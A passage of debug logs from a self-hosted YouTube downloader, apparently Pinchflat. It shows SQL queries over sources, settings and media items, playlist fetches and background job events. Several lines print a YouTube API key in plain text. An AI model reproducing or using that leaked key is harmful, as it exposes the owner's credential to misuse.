m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:42.454 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:42.454 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 18:07:42.454 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:42.454 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:42.555 [debug] QUERY OK source="media_items" db=0.7ms idle=101.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 18:07:42.556 [debug] QUERY OK source="media_items" db=0.3ms idle=101.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 18:07:42.556 [debug] QUERY OK source="tasks" db=0.1ms idle=102.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800376, 23, ~U[2026-02-11 00:07:42Z], ~U[2026-02-11 00:07:42Z]] 18:07:42.557 [info] {"args":{"id":23},"id":3800337,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104093,"event":"job:stop","queue_time":537338,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:44.454 [info] {"args":{"id":10},"id":3800338,"meta":{},"system_time":1770768464454822668,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:44.455 [info] {"args":{"id":34},"id":3800339,"meta":{},"system_time":1770768464454850859,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:44.455 [debug] QUERY OK source="sources" db=0.2ms idle=576.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 18:07:44.455 [debug] QUERY OK source="sources" db=0.1ms idle=576.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 18:07:44.455 [debug] QUERY OK source="settings" db=0.0ms idle=577.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.455 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.455 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:44.455 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.455 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 18:07:44.455 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.456 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:44.456 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:44.456 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.456 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 18:07:44.456 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:44.456 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:44.613 [debug] QUERY OK source="media_items" db=0.6ms idle=157.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 18:07:44.616 [debug] QUERY OK source="media_items" db=2.1ms idle=158.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 18:07:44.617 [debug] QUERY OK source="tasks" db=0.1ms idle=160.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800377, 10, ~U[2026-02-11 00:07:44Z], ~U[2026-02-11 00:07:44Z]] 18:07:44.617 [info] {"args":{"id":10},"id":3800338,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162427,"event":"job:stop","queue_time":523109,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:44.817 [debug] QUERY OK source="media_items" db=0.7ms idle=199.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 18:07:44.819 [debug] QUERY OK source="media_items" db=0.9ms idle=201.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 18:07:44.820 [debug] QUERY OK source="tasks" db=0.1ms idle=196.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800378, 34, ~U[2026-02-11 00:07:44Z], ~U[2026-02-11 00:07:44Z]] 18:07:44.820 [info] {"args":{"id":34},"id":3800339,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":365221,"event":"job:stop","queue_time":294616,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:45.456 [info] {"args":{"id":8},"id":3800340,"meta":{},"system_time":1770768465456712805,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:45.456 [info] {"args":{"id":9},"id":3800341,"meta":{},"system_time":1770768465456746972,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:45.457 [debug] QUERY OK source="sources" db=0.2ms idle=636.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 18:07:45.457 [debug] QUERY OK source="sources" db=0.2ms idle=636.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 18:07:45.457 [debug] QUERY OK source="settings" db=0.2ms idle=630.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.457 [debug] QUERY OK source="settings" db=0.2ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.457 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:45.458 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:45.458 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.458 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.458 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 18:07:45.458 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 18:07:45.458 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.458 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:45.458 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:45.458 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:45.635 [debug] QUERY OK source="media_items" db=0.7ms idle=176.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 18:07:45.636 [debug] QUERY OK source="media_items" db=0.7ms idle=177.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN 